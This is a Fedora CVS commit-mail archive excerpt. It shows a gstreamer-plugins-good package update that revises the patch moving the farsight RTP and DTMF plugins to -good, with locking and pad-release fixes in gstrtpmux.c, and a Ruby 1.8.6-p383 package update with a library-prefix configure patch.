 farsight/dtmf/gstrtpdtmfdepay.h       |   66 +
 farsight/dtmf/gstrtpdtmfsrc.c         | 1099 ++++++++++++++++++++++++
 farsight/dtmf/gstrtpdtmfsrc.h         |  112 ++
 farsight/liveadder/Makefile.am        |    9 
 farsight/liveadder/liveadder.c        | 1548 ++++++++++++++++++++++++++++++++++
 farsight/liveadder/liveadder.h        |  108 ++
 farsight/rtpmux/Makefile.am           |   11 
 farsight/rtpmux/gstrtpdtmfmux.c       |  326 +++++++
 farsight/rtpmux/gstrtpdtmfmux.h       |   68 +
 farsight/rtpmux/gstrtpmux.c           |  632 +++++++++++++
 farsight/rtpmux/gstrtpmux.h           |   78 +
 farsight/rtpmux/gstrtpmuxer.c         |   48 +
 farsight/valve/Makefile.am            |    9 
 farsight/valve/gstvalve.c             |  311 ++++++
 farsight/valve/gstvalve.h             |   83 +
 27 files changed, 7681 insertions(+), 1 deletion(-)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.1 -r 1.2 0001-Move-farsight-plugins-from-bad-to-good.patchIndex: 0001-Move-farsight-plugins-from-bad-to-good.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/F-12/0001-Move-farsight-plugins-from-bad-to-good.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0001-Move-farsight-plugins-from-bad-to-good.patch	22 Jun 2009 16:10:54 -0000	1.1
+++ 0001-Move-farsight-plugins-from-bad-to-good.patch	22 Oct 2009 15:32:30 -0000	1.2
@@ -1,61 +1,37 @@
-From 94f7caadf48775e70bd87fb6390193fe745cc967 Mon Sep 17 00:00:00 2001
+From 3f4951b983a9dfbec87ad57f69ade6829abbbab3 Mon Sep 17 00:00:00 2001
 From: Bastien Nocera <hadess at hadess.net>
 Date: Mon, 22 Jun 2009 16:09:04 +0100
 Subject: [PATCH] Move farsight plugins from -bad to -good
 
 ---
- Makefile.am                                |    1 +
- configure.ac                               |    7 +
- farsight/Makefile.am                       |    1 +
- farsight/autoconvert/Makefile.am           |    9 +
- farsight/autoconvert/gstautoconvert.c      | 1383 +++++++++++++++
- farsight/autoconvert/gstautoconvert.h      |   63 +
- farsight/dtmf/Makefile.am                  |   17 +
- farsight/dtmf/gstdtmf.c                    |   30 +
- farsight/dtmf/gstdtmfsrc.c                 |  929 ++++++++++
- farsight/dtmf/gstdtmfsrc.h                 |   98 ++
- farsight/dtmf/gstrtpdtmfcommon.h           |   23 +
- farsight/dtmf/gstrtpdtmfdepay.c            |  554 ++++++
- farsight/dtmf/gstrtpdtmfdepay.h            |   66 +
- farsight/dtmf/gstrtpdtmfsrc.c              | 1087 ++++++++++++
- farsight/dtmf/gstrtpdtmfsrc.h              |  112 ++
- farsight/liveadder/Makefile.am             |    9 +
- farsight/liveadder/liveadder.c             | 1549 +++++++++++++++++
- farsight/liveadder/liveadder.h             |  108 ++
- farsight/rtpmanager/.gitignore             |    2 +
- farsight/rtpmanager/Makefile.am            |   51 +
- farsight/rtpmanager/gstrtpbin-marshal.list |    8 +
- farsight/rtpmanager/gstrtpbin.c            | 2582 ++++++++++++++++++++++++++++
- farsight/rtpmanager/gstrtpbin.h            |   88 +
- farsight/rtpmanager/gstrtpclient.c         |  484 ++++++
- farsight/rtpmanager/gstrtpclient.h         |   56 +
- farsight/rtpmanager/gstrtpjitterbuffer.c   | 1973 +++++++++++++++++++++
- farsight/rtpmanager/gstrtpjitterbuffer.h   |   88 +
- farsight/rtpmanager/gstrtpmanager.c        |   65 +
- farsight/rtpmanager/gstrtpptdemux.c        |  492 ++++++
- farsight/rtpmanager/gstrtpptdemux.h        |   62 +
- farsight/rtpmanager/gstrtpsession.c        | 1998 +++++++++++++++++++++
- farsight/rtpmanager/gstrtpsession.h        |   81 +
- farsight/rtpmanager/gstrtpssrcdemux.c      |  722 ++++++++
- farsight/rtpmanager/gstrtpssrcdemux.h      |   62 +
- farsight/rtpmanager/rtpjitterbuffer.c      |  593 +++++++
- farsight/rtpmanager/rtpjitterbuffer.h      |  101 ++
- farsight/rtpmanager/rtpsession.c           | 2551 +++++++++++++++++++++++++++
- farsight/rtpmanager/rtpsession.h           |  303 ++++
- farsight/rtpmanager/rtpsource.c            | 1557 +++++++++++++++++
- farsight/rtpmanager/rtpsource.h            |  223 +++
- farsight/rtpmanager/rtpstats.c             |  176 ++
- farsight/rtpmanager/rtpstats.h             |  195 +++
- farsight/rtpmux/Makefile.am                |   11 +
- farsight/rtpmux/gstrtpdtmfmux.c            |  326 ++++
- farsight/rtpmux/gstrtpdtmfmux.h            |   68 +
- farsight/rtpmux/gstrtpmux.c                |  613 +++++++
- farsight/rtpmux/gstrtpmux.h                |   78 +
- farsight/rtpmux/gstrtpmuxer.c              |   48 +
- farsight/valve/Makefile.am                 |    9 +
- farsight/valve/gstvalve.c                  |  311 ++++
- farsight/valve/gstvalve.h                  |   82 +
- 52 files changed, 22106 insertions(+), 1 deletions(-)
+ Makefile.am                           |    1 +
+ configure.ac                          |    6 +
+ farsight/Makefile.am                  |    1 +
+ farsight/autoconvert/Makefile.am      |    9 +
+ farsight/autoconvert/gstautoconvert.c | 1434 ++++++++++++++++++++++++++++++
+ farsight/autoconvert/gstautoconvert.h |   65 ++
+ farsight/dtmf/Makefile.am             |   17 +
+ farsight/dtmf/gstdtmf.c               |   30 +
+ farsight/dtmf/gstdtmfsrc.c            |  935 ++++++++++++++++++++
+ farsight/dtmf/gstdtmfsrc.h            |   98 +++
+ farsight/dtmf/gstrtpdtmfcommon.h      |   23 +
+ farsight/dtmf/gstrtpdtmfdepay.c       |  555 ++++++++++++
+ farsight/dtmf/gstrtpdtmfdepay.h       |   66 ++
+ farsight/dtmf/gstrtpdtmfsrc.c         | 1099 +++++++++++++++++++++++
+ farsight/dtmf/gstrtpdtmfsrc.h         |  112 +++
+ farsight/liveadder/Makefile.am        |    9 +
+ farsight/liveadder/liveadder.c        | 1548 +++++++++++++++++++++++++++++++++
+ farsight/liveadder/liveadder.h        |  108 +++
+ farsight/rtpmux/Makefile.am           |   11 +
+ farsight/rtpmux/gstrtpdtmfmux.c       |  326 +++++++
+ farsight/rtpmux/gstrtpdtmfmux.h       |   68 ++
+ farsight/rtpmux/gstrtpmux.c           |  632 ++++++++++++++
+ farsight/rtpmux/gstrtpmux.h           |   78 ++
+ farsight/rtpmux/gstrtpmuxer.c         |   48 +
+ farsight/valve/Makefile.am            |    9 +
+ farsight/valve/gstvalve.c             |  311 +++++++
+ farsight/valve/gstvalve.h             |   82 ++
+ 27 files changed, 7681 insertions(+), 0 deletions(-)
  create mode 100644 farsight/Makefile.am
  create mode 100644 farsight/autoconvert/Makefile.am
  create mode 100644 farsight/autoconvert/gstautoconvert.c
@@ -72,30 +48,6 @@ Subject: [PATCH] Move farsight plugins f
  create mode 100644 farsight/liveadder/Makefile.am
  create mode 100644 farsight/liveadder/liveadder.c
  create mode 100644 farsight/liveadder/liveadder.h
- create mode 100644 farsight/rtpmanager/.gitignore
- create mode 100644 farsight/rtpmanager/Makefile.am
- create mode 100644 farsight/rtpmanager/gstrtpbin-marshal.list
- create mode 100644 farsight/rtpmanager/gstrtpbin.c
- create mode 100644 farsight/rtpmanager/gstrtpbin.h
- create mode 100644 farsight/rtpmanager/gstrtpclient.c
- create mode 100644 farsight/rtpmanager/gstrtpclient.h
- create mode 100644 farsight/rtpmanager/gstrtpjitterbuffer.c
- create mode 100644 farsight/rtpmanager/gstrtpjitterbuffer.h
- create mode 100644 farsight/rtpmanager/gstrtpmanager.c
- create mode 100644 farsight/rtpmanager/gstrtpptdemux.c
- create mode 100644 farsight/rtpmanager/gstrtpptdemux.h
- create mode 100644 farsight/rtpmanager/gstrtpsession.c
- create mode 100644 farsight/rtpmanager/gstrtpsession.h
- create mode 100644 farsight/rtpmanager/gstrtpssrcdemux.c
- create mode 100644 farsight/rtpmanager/gstrtpssrcdemux.h
- create mode 100644 farsight/rtpmanager/rtpjitterbuffer.c
- create mode 100644 farsight/rtpmanager/rtpjitterbuffer.h
- create mode 100644 farsight/rtpmanager/rtpsession.c
- create mode 100644 farsight/rtpmanager/rtpsession.h
- create mode 100644 farsight/rtpmanager/rtpsource.c
- create mode 100644 farsight/rtpmanager/rtpsource.h
- create mode 100644 farsight/rtpmanager/rtpstats.c
- create mode 100644 farsight/rtpmanager/rtpstats.h
  create mode 100644 farsight/rtpmux/Makefile.am
  create mode 100644 farsight/rtpmux/gstrtpdtmfmux.c
  create mode 100644 farsight/rtpmux/gstrtpdtmfmux.h
@@ -119,16 +71,15 @@ index 4247a97..997881b 100644
  	docs			\
  	po			\
 diff --git a/configure.ac b/configure.ac
-index fb9bbf8..28c0f31 100644
+index 36b3884..c8e111b 100644
 --- a/configure.ac
 +++ b/configure.ac
-@@ -1080,6 +1080,13 @@ sys/osxvideo/Makefile
+@@ -1117,6 +1117,12 @@ sys/osxvideo/Makefile
  sys/v4l2/Makefile
  sys/waveform/Makefile
  sys/ximage/Makefile
 +farsight/Makefile
 +farsight/valve/Makefile
-+farsight/rtpmanager/Makefile
 +farsight/liveadder/Makefile
 +farsight/dtmf/Makefile
 +farsight/rtpmux/Makefile
@@ -138,11 +89,11 @@ index fb9bbf8..28c0f31 100644
  tests/check/Makefile
 diff --git a/farsight/Makefile.am b/farsight/Makefile.am
 new file mode 100644
-index 0000000..00b6dd3
+index 0000000..a5fac23
 --- /dev/null
 +++ b/farsight/Makefile.am
 @@ -0,0 +1 @@
-+SUBDIRS = autoconvert dtmf liveadder rtpmanager rtpmux valve
++SUBDIRS = autoconvert dtmf liveadder rtpmux valve
 diff --git a/farsight/autoconvert/Makefile.am b/farsight/autoconvert/Makefile.am
 new file mode 100644
 index 0000000..22e8a67
@@ -160,10 +111,10 @@ index 0000000..22e8a67
 +
 diff --git a/farsight/autoconvert/gstautoconvert.c b/farsight/autoconvert/gstautoconvert.c
 new file mode 100644
-index 0000000..4311003
+index 0000000..55f4719
 --- /dev/null
 +++ b/farsight/autoconvert/gstautoconvert.c
-@@ -0,0 +1,1383 @@
+@@ -0,0 +1,1434 @@
 +/* GStreamer
 + *
 + *  Copyright 2007-2008 Collabora Ltd
@@ -212,13 +163,6 @@ index 0000000..4311003
 +#define GST_CAT_DEFAULT (autoconvert_debug)
 +
 +/* elementfactory information */
-+static const GstElementDetails gst_auto_convert_details =
-+GST_ELEMENT_DETAILS ("Select convertor based on caps",
-+    "Generic/Bin",
-+    "Selects the right transform element based on the caps",
-+    "Olivier Crete <olivier.crete at collabora.co.uk>");
-+
-+
 +static GstStaticPadTemplate sinktemplate = GST_STATIC_PAD_TEMPLATE ("sink",
 +    GST_PAD_SINK,
 +    GST_PAD_ALWAYS,
@@ -229,7 +173,6 @@ index 0000000..4311003
 +    GST_PAD_ALWAYS,
 +    GST_STATIC_CAPS_ANY);
 +
-+
 +static GstStaticPadTemplate sink_internal_template =
 +GST_STATIC_PAD_TEMPLATE ("sink_internal",
 +    GST_PAD_SINK,
@@ -252,16 +195,18 @@ index 0000000..4311003
 +enum
[...15537 lines suppressed...]
-@@ -0,0 +1,613 @@
+@@ -0,0 +1,632 @@
 +/* RTP muxer element for GStreamer
 + *
 + * gstrtpmux.c:
@@ -21441,10 +6806,9 @@ index 0000000..82d4b00
 +    GST_STATIC_CAPS ("application/x-rtp")
 +    );
 +
-+static void gst_rtp_mux_finalize (GObject * object);
-+
 +static GstPad *gst_rtp_mux_request_new_pad (GstElement * element,
 +    GstPadTemplate * templ, const gchar * name);
++static void gst_rtp_mux_release_pad (GstElement * element, GstPad * pad);
 +static GstFlowReturn gst_rtp_mux_chain (GstPad * pad, GstBuffer * buffer);
 +static gboolean gst_rtp_mux_setcaps (GstPad * pad, GstCaps * caps);
 +static GstCaps *gst_rtp_mux_getcaps (GstPad * pad);
@@ -21482,7 +6846,6 @@ index 0000000..82d4b00
 +  gobject_class = (GObjectClass *) klass;
 +  gstelement_class = (GstElementClass *) klass;
 +
-+  gobject_class->finalize = gst_rtp_mux_finalize;
 +  gobject_class->get_property = gst_rtp_mux_get_property;
 +  gobject_class->set_property = gst_rtp_mux_set_property;
 +
@@ -21506,6 +6869,7 @@ index 0000000..82d4b00
 +
 +  gstelement_class->request_new_pad =
 +      GST_DEBUG_FUNCPTR (gst_rtp_mux_request_new_pad);
++  gstelement_class->release_pad = GST_DEBUG_FUNCPTR (gst_rtp_mux_release_pad);
 +  gstelement_class->change_state = GST_DEBUG_FUNCPTR (gst_rtp_mux_change_state);
 +
 +  klass->chain_func = gst_rtp_mux_chain;
@@ -21567,16 +6931,6 @@ index 0000000..82d4b00
 +  object->seqnum_offset = DEFAULT_SEQNUM_OFFSET;
 +}
 +
-+static void
-+gst_rtp_mux_finalize (GObject * object)
-+{
-+  GstRTPMux *rtp_mux;
-+
-+  rtp_mux = GST_RTP_MUX (object);
-+
-+  G_OBJECT_CLASS (parent_class)->finalize (object);
-+}
-+
 +static GstPad *
 +gst_rtp_mux_create_sinkpad (GstRTPMux * rtp_mux, GstPadTemplate * templ)
 +{
@@ -21604,15 +6958,6 @@ index 0000000..82d4b00
 +}
 +
 +static void
-+free_pad_private (gpointer data, GObject * where_the_object_was)
-+{
-+  GstRTPMuxPadPrivate *padpriv = data;
-+
-+  gst_caps_replace (&padpriv->out_caps, NULL);
-+  g_slice_free (GstRTPMuxPadPrivate, padpriv);
-+}
-+
-+static void
 +gst_rtp_mux_setup_sinkpad (GstRTPMux * rtp_mux, GstPad * sinkpad)
 +{
 +  GstRTPMuxClass *klass;
@@ -21632,7 +6977,6 @@ index 0000000..82d4b00
 +  gst_pad_set_active (sinkpad, TRUE);
 +
 +  gst_pad_set_element_private (sinkpad, padpriv);
-+  g_object_weak_ref (G_OBJECT (sinkpad), free_pad_private, padpriv);
 +
 +  /* dd the pad to the element */
 +  gst_element_add_pad (GST_ELEMENT (rtp_mux), sinkpad);
@@ -21664,6 +7008,24 @@ index 0000000..82d4b00
 +  return newpad;
 +}
 +
++static void
++gst_rtp_mux_release_pad (GstElement * element, GstPad * pad)
++{
++  GstRTPMuxPadPrivate *padpriv;
++
++  GST_OBJECT_LOCK (element);
++  padpriv = gst_pad_get_element_private (pad);
++  gst_pad_set_element_private (pad, NULL);
++  GST_OBJECT_UNLOCK (element);
++
++  gst_element_remove_pad (element, pad);
++
++  if (padpriv) {
++    gst_caps_replace (&padpriv->out_caps, NULL);
++    g_slice_free (GstRTPMuxPadPrivate, padpriv);
++  }
++}
++
 +/* Put our own clock-base on the buffer */
 +static void
 +gst_rtp_mux_readjust_rtp_timestamp (GstRTPMux * rtp_mux, GstPad * pad,
@@ -21671,10 +7033,14 @@ index 0000000..82d4b00
 +{
 +  guint32 ts;
 +  guint32 sink_ts_base = 0;
-+  GstRTPMuxPadPrivate *padpriv = gst_pad_get_element_private (pad);
++  GstRTPMuxPadPrivate *padpriv;
 +
-+  if (padpriv->have_clock_base)
++
++  GST_OBJECT_LOCK (rtp_mux);
++  padpriv = gst_pad_get_element_private (pad);
++  if (padpriv && padpriv->have_clock_base)
 +    sink_ts_base = padpriv->clock_base;
++  GST_OBJECT_UNLOCK (rtp_mux);
 +
 +  ts = gst_rtp_buffer_get_timestamp (buffer) - sink_ts_base + rtp_mux->ts_base;
 +  GST_LOG_OBJECT (rtp_mux, "Re-adjusting RTP ts %u to %u",
@@ -21687,7 +7053,7 @@ index 0000000..82d4b00
 +{
 +  GstRTPMux *rtp_mux;
 +  GstFlowReturn ret;
-+  GstRTPMuxPadPrivate *padpriv = gst_pad_get_element_private (pad);
++  GstRTPMuxPadPrivate *padpriv;
 +
 +  rtp_mux = GST_RTP_MUX (gst_pad_get_parent (pad));
 +
@@ -21702,6 +7068,9 @@ index 0000000..82d4b00
 +  GST_OBJECT_LOCK (rtp_mux);
 +  rtp_mux->seqnum++;
 +  gst_rtp_buffer_set_seq (buffer, rtp_mux->seqnum);
++  padpriv = gst_pad_get_element_private (pad);
++  if (padpriv)
++    gst_buffer_set_caps (buffer, padpriv->out_caps);
 +  GST_OBJECT_UNLOCK (rtp_mux);
 +  gst_rtp_buffer_set_ssrc (buffer, rtp_mux->current_ssrc);
 +  gst_rtp_mux_readjust_rtp_timestamp (rtp_mux, pad, buffer);
@@ -21709,10 +7078,16 @@ index 0000000..82d4b00
 +      GST_BUFFER_SIZE (buffer), rtp_mux->seqnum,
 +      gst_rtp_buffer_get_timestamp (buffer));
 +
-+  gst_buffer_set_caps (buffer, padpriv->out_caps);
++  if (!padpriv) {
++    ret = GST_FLOW_NOT_LINKED;
++    gst_buffer_unref (buffer);
++    goto out;
++  }
 +
 +  ret = gst_pad_push (rtp_mux->srcpad, buffer);
 +
++out:
++
 +  gst_object_unref (rtp_mux);
 +  return ret;
 +}
@@ -21723,7 +7098,7 @@ index 0000000..82d4b00
 +  GstRTPMux *rtp_mux;
 +  GstStructure *structure;
 +  gboolean ret = FALSE;
-+  GstRTPMuxPadPrivate *padpriv = gst_pad_get_element_private (pad);
++  GstRTPMuxPadPrivate *padpriv;
 +
 +  rtp_mux = GST_RTP_MUX (gst_pad_get_parent (pad));
 +
@@ -21732,9 +7107,13 @@ index 0000000..82d4b00
 +  if (!structure)
 +    goto out;
 +
-+  if (gst_structure_get_uint (structure, "clock-base", &padpriv->clock_base)) {
++  GST_OBJECT_LOCK (rtp_mux);
++  padpriv = gst_pad_get_element_private (pad);
++  if (padpriv &&
++      gst_structure_get_uint (structure, "clock-base", &padpriv->clock_base)) {
 +    padpriv->have_clock_base = TRUE;
 +  }
++  GST_OBJECT_UNLOCK (rtp_mux);
 +
 +  caps = gst_caps_copy (caps);
 +
@@ -21746,8 +7125,13 @@ index 0000000..82d4b00
 +      "setting caps %" GST_PTR_FORMAT " on src pad..", caps);
 +  ret = gst_pad_set_caps (rtp_mux->srcpad, caps);
 +
-+  if (ret)
-+    gst_caps_replace (&padpriv->out_caps, caps);
++  if (ret) {
++    GST_OBJECT_LOCK (rtp_mux);
++    padpriv = gst_pad_get_element_private (pad);
++    if (padpriv)
++      gst_caps_replace (&padpriv->out_caps, caps);
++    GST_OBJECT_UNLOCK (rtp_mux);
++  }
 +  gst_caps_unref (caps);
 +
 +out:
@@ -22528,5 +7912,5 @@ index 0000000..cc7cd38
 +G_END_DECLS
 +#endif /* __GST_VALVE_H__ */
 -- 
-1.6.2.2
+1.6.5.rc2
 


Index: gstreamer-plugins-good.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/F-12/gstreamer-plugins-good.spec,v
retrieving revision 1.106
retrieving revision 1.107
diff -u -p -r1.106 -r1.107
--- gstreamer-plugins-good.spec	19 Oct 2009 14:27:27 -0000	1.106
+++ gstreamer-plugins-good.spec	22 Oct 2009 15:32:30 -0000	1.107
@@ -6,7 +6,7 @@
 
 Name: 		%{gstreamer}-plugins-good
 Version: 	0.10.16
-Release:  	4%{?dist}
+Release:  	5%{?dist}
 Summary: 	GStreamer plug-ins with good code and licensing
 
 Group: 		Applications/Multimedia
@@ -68,7 +68,6 @@ Obsoletes: gstreamer-plugins-pulse < 0.9
 # farsight plugins
 Patch0: 0001-Move-farsight-plugins-from-bad-to-good.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=575568#c22
-Patch1: autoconvert-fix-caps.patch
 BuildRequires: automake autoconf libtool
 Provides: gstreamer-plugins-farsight = 0.12.12-1
 Obsoletes: gstreamer-plugins-farsight < 0.12.12
@@ -112,7 +111,6 @@ This is a dummy package to make gstreame
 
 # Farsight plugins
 %patch0 -p1 -b .farsight
-%patch1 -p1 -b .autoconvert-caps
 libtoolize -f
 autoreconf
 %patch2 -p1 -b .volume-lowering
@@ -240,6 +238,7 @@ rm -rf $RPM_BUILD_ROOT
 # %{_libdir}/gstreamer-%{majorminor}/libgstladspa.so
 # %{_libdir}/gstreamer-%{majorminor}/libgstaasink.so
 %{_libdir}/gstreamer-%{majorminor}/libgstpulse.so
+%{_libdir}/gstreamer-%{majorminor}/libgstrtpmanager.so
 
 %ifnarch s390 s390x
 %{_libdir}/gstreamer-%{majorminor}/libgstdv.so
@@ -250,7 +249,6 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/gstreamer-%{majorminor}/libgstautoconvert.so
 %{_libdir}/gstreamer-%{majorminor}/libgstdtmf.so
 %{_libdir}/gstreamer-%{majorminor}/libgstliveadder.so
-%{_libdir}/gstreamer-%{majorminor}/libgstrtpmanager.so
 %{_libdir}/gstreamer-%{majorminor}/libgstrtpmux.so
 %{_libdir}/gstreamer-%{majorminor}/libgstvalve.so
 
@@ -279,6 +277,10 @@ export GCONF_CONFIG_SOURCE=`gconftool-2 
 gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/gstreamer-%{majorminor}.schemas > /dev/null || :
 
 %changelog
+* Thu Oct 22 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-5
+- Update farsight plugins from -bad
+- Drop copy/pasted rtpmanager plugin, it's now in -good
+
 * Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-4
 - Fix pulsesink not advertising the StreamVolume interface
 


--- autoconvert-fix-caps.patch DELETED ---



From kanarip at fedoraproject.org  Thu Oct 22 15:34:22 2009
From: kanarip at fedoraproject.org (Jeroen van Meeuwen)
Date: Thu, 22 Oct 2009 15:34:22 +0000 (UTC)
Subject: rpms/ruby/F-11 ruby-1.8.6-p383-rubyprefix.patch, NONE,
	1.1 .cvsignore, 
	1.32, 1.33 import.log, 1.6, 1.7 ruby.spec, 1.138, 1.139 sources,
	1.31, 1.32 ruby-1.8.6-p369-ri-gem_multipath.patch, 1.2,
	NONE ruby-rubyprefix.patch, 1.5, NONE
Message-ID: <20091022153422.6084911C008C@cvs1.fedora.phx.redhat.com>

Author: kanarip

Update of /cvs/pkgs/rpms/ruby/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9285/F-11

Modified Files:
	.cvsignore import.log ruby.spec sources 
Added Files:
	ruby-1.8.6-p383-rubyprefix.patch 
Removed Files:
	ruby-1.8.6-p369-ri-gem_multipath.patch ruby-rubyprefix.patch 
Log Message:
1.8.6.383-1.fc11

ruby-1.8.6-p383-rubyprefix.patch:
 /configure.in.orig |only
 /configure.in.rej  |only
 configure.in       |   28 +++++++++++++++++++++++-----
 mkconfig.rb        |    6 +++---
 4 files changed, 26 insertions(+), 8 deletions(-)

--- NEW FILE ruby-1.8.6-p383-rubyprefix.patch ---
diff -ur ruby-1.8.6-p383.0-deadcode/configure.in ruby-1.8.6-p383/configure.in
--- ruby-1.8.6-p383.0-deadcode/configure.in	2009-07-20 15:24:22.000000000 +0200
+++ ruby-1.8.6-p383/configure.in	2009-10-22 16:37:13.729623476 +0200
@@ -1613,6 +1613,13 @@
     rubyw_install_name="$RUBYW_INSTALL_NAME"
     ;;
 esac
+
+AC_ARG_WITH(ruby-prefix,
+	AC_HELP_STRING([--with-ruby-prefix], [build ruby with the special library prefix.])
+	,,
+	with_ruby_prefix=no)
+
+if test "x$with_ruby_prefix" = "x"; then
 case "$target_os" in
   cygwin*|mingw*|*djgpp*|os2-emx*)
     RUBY_LIB_PREFIX="/lib/ruby"
@@ -1621,20 +1628,30 @@
     RUBY_LIB_PREFIX="`eval "echo ${libdir}"`/ruby"
     ;;
 esac
+else
+    RUBY_LIB_PREFIX="${with_ruby_prefix}/ruby"
+fi
 RUBY_LIB_PATH="${RUBY_LIB_PREFIX}/${MAJOR}.${MINOR}"
+RUBY_LIB_PATH2="${libdir}/ruby/${MAJOR}.${MINOR}"
 
 AC_ARG_WITH(sitedir,
 	    [  --with-sitedir=DIR      site libraries in DIR [PREFIX/lib/ruby/site_ruby]],
             [sitedir=$withval],
             [sitedir="`eval "echo ${libdir}"`/ruby/site_ruby"])
-SITE_DIR=`eval echo \\"${sitedir}\\"`
+SITE_DIR=`eval echo \\"${sitedir}\\" | sed -e "s/lib64/lib/"`
+_fc_sitedir="\$(DESTDIR)${sitedir}"
+SITE_DIR2=`eval echo \\"${_fc_sitedir}\\"`
+sitedir=`eval echo \\"${sitedir}\\" | sed -e "s/lib64/lib/"`
+
 case "$target_os" in
   cygwin*|mingw*|*djgpp*|os2-emx*)
     RUBY_SITE_LIB_PATH="`expr "$SITE_DIR" : "$prefix\(/.*\)"`" ||
     RUBY_SITE_LIB_PATH="$SITE_DIR";;
   *)
-    RUBY_SITE_LIB_PATH="$SITE_DIR";;
+    RUBY_SITE_LIB_PATH="$SITE_DIR";
+    RUBY_SITE_LIB_PATH2="$SITE_DIR2";;
 esac
+RUBY_SITE_LIB_PATH3="${RUBY_SITE_LIB_PATH2}/${MAJOR}.${MINOR}"
 RUBY_SITE_LIB_PATH2="${RUBY_SITE_LIB_PATH}/${MAJOR}.${MINOR}"
 
 AC_DEFINE_UNQUOTED(RUBY_LIB, "${RUBY_LIB_PATH}")
@@ -1644,6 +1661,7 @@
 AC_SUBST(arch)dnl
 AC_SUBST(sitearch)dnl
 AC_SUBST(sitedir)dnl
+AC_SUBST(_fc_sitedir)dnl
 
 configure_args=$ac_configure_args
 AC_SUBST(configure_args)dnl
@@ -1652,7 +1670,7 @@
     arch="fat-${target_os}"
 
     AC_DEFINE_UNQUOTED(RUBY_THIN_ARCHLIB,
-                 "${RUBY_LIB_PATH}/" __ARCHITECTURE__ "-${target_os}")
+                 "${RUBY_LIB_PATH2}/" __ARCHITECTURE__ "-${target_os}")
 
     AC_DEFINE_UNQUOTED(RUBY_SITE_THIN_ARCHLIB,
                  "${RUBY_SITE_LIB_PATH}/" __ARCHITECTURE__ "-${target_os}")
@@ -1667,8 +1685,8 @@
   *) sitearch="${arch}" ;;
 esac
 
-AC_DEFINE_UNQUOTED(RUBY_ARCHLIB, "${RUBY_LIB_PATH}/${arch}")
-AC_DEFINE_UNQUOTED(RUBY_SITE_ARCHLIB, "${RUBY_SITE_LIB_PATH2}/${sitearch}")
+AC_DEFINE_UNQUOTED(RUBY_ARCHLIB, "${RUBY_LIB_PATH2}/${arch}")
+AC_DEFINE_UNQUOTED(RUBY_SITE_ARCHLIB, "${RUBY_SITE_LIB_PATH3}/${sitearch}")
 
 AC_ARG_WITH(search-path,
 		[  --with-search-path=DIR specify the additional search path],
Only in ruby-1.8.6-p383/: configure.in.orig
Only in ruby-1.8.6-p383/: configure.in.rej
diff -ur ruby-1.8.6-p383.0-deadcode/mkconfig.rb ruby-1.8.6-p383/mkconfig.rb
--- ruby-1.8.6-p383.0-deadcode/mkconfig.rb	2008-06-07 18:37:10.000000000 +0200
+++ ruby-1.8.6-p383/mkconfig.rb	2009-10-22 16:30:55.776872493 +0200
@@ -139,10 +139,10 @@
 print(*v_others)
 print <<EOS
   CONFIG["ruby_version"] = "$(MAJOR).$(MINOR)"
-  CONFIG["rubylibdir"] = "$(libdir)/ruby/$(ruby_version)"
-  CONFIG["archdir"] = "$(rubylibdir)/$(arch)"
+  CONFIG["rubylibdir"] = "$(prefix)/lib/ruby/$(ruby_version)"
+  CONFIG["archdir"] = "$(libdir)/ruby/$(ruby_version)/$(arch)"
   CONFIG["sitelibdir"] = "$(sitedir)/$(ruby_version)"
-  CONFIG["sitearchdir"] = "$(sitelibdir)/$(sitearch)"
+  CONFIG["sitearchdir"] = "$(_fc_sitedir)/$(ruby_version)/$(sitearch)"
   CONFIG["topdir"] = File.dirname(__FILE__)
   MAKEFILE_CONFIG = {}
   CONFIG.each{|k,v| MAKEFILE_CONFIG[k] = v.dup}


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ruby/F-11/.cvsignore,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- .cvsignore	23 Jun 2009 12:40:23 -0000	1.32
+++ .cvsignore	22 Oct 2009 15:34:21 -0000	1.33
@@ -1,4 +1,4 @@
 ruby-refm-rdp-1.8.2-ja-html.tar.gz
 rubyfaq-990927.tar.gz
 rubyfaq-jp-990927.tar.gz
-ruby-1.8.6-p369.tar.bz2
+ruby-1.8.6-p383.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/ruby/F-11/import.log,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- import.log	23 Jun 2009 12:40:23 -0000	1.6
+++ import.log	22 Oct 2009 15:34:21 -0000	1.7
@@ -4,3 +4,4 @@ ruby-1_8_6_287-7_fc11:HEAD:ruby-1.8.6.28
 ruby-1_8_6_368-1_fc11:F-11:ruby-1.8.6.368-1.fc11.src.rpm:1243759224
 ruby-1_8_6_368-2_fc11:F-11:ruby-1.8.6.368-2.fc11.src.rpm:1245520335
 ruby-1_8_6_369-1_fc11:F-11:ruby-1.8.6.369-1.fc11.src.rpm:1245760801
+ruby-1_8_6_383-1_fc11:F-11:ruby-1.8.6.383-1.fc11.src.rpm:1256225647


Index: ruby.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ruby/F-11/ruby.spec,v
retrieving revision 1.138
retrieving revision 1.139
diff -u -p -r1.138 -r1.139
--- ruby.spec	14 Oct 2009 15:37:17 -0000	1.138
+++ ruby.spec	22 Oct 2009 15:34:22 -0000	1.139
@@ -1,6 +1,6 @@
 %define	rubyxver	1.8
 %define	rubyver		1.8.6
-%define _patchlevel	369
+%define _patchlevel	383
 %define dotpatchlevel	%{?_patchlevel:.%{_patchlevel}}
 %define patchlevel	%{?_patchlevel:-p%{_patchlevel}}
 %define	arcver		%{rubyver}%{?patchlevel}
@@ -16,7 +16,7 @@
 
 Name:		ruby
 Version:	%{rubyver}%{?dotpatchlevel}
-Release:	3%{?dist}
+Release:	1%{?dist}
 License:	Ruby or GPLv2
 URL:		http://www.ruby-lang.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
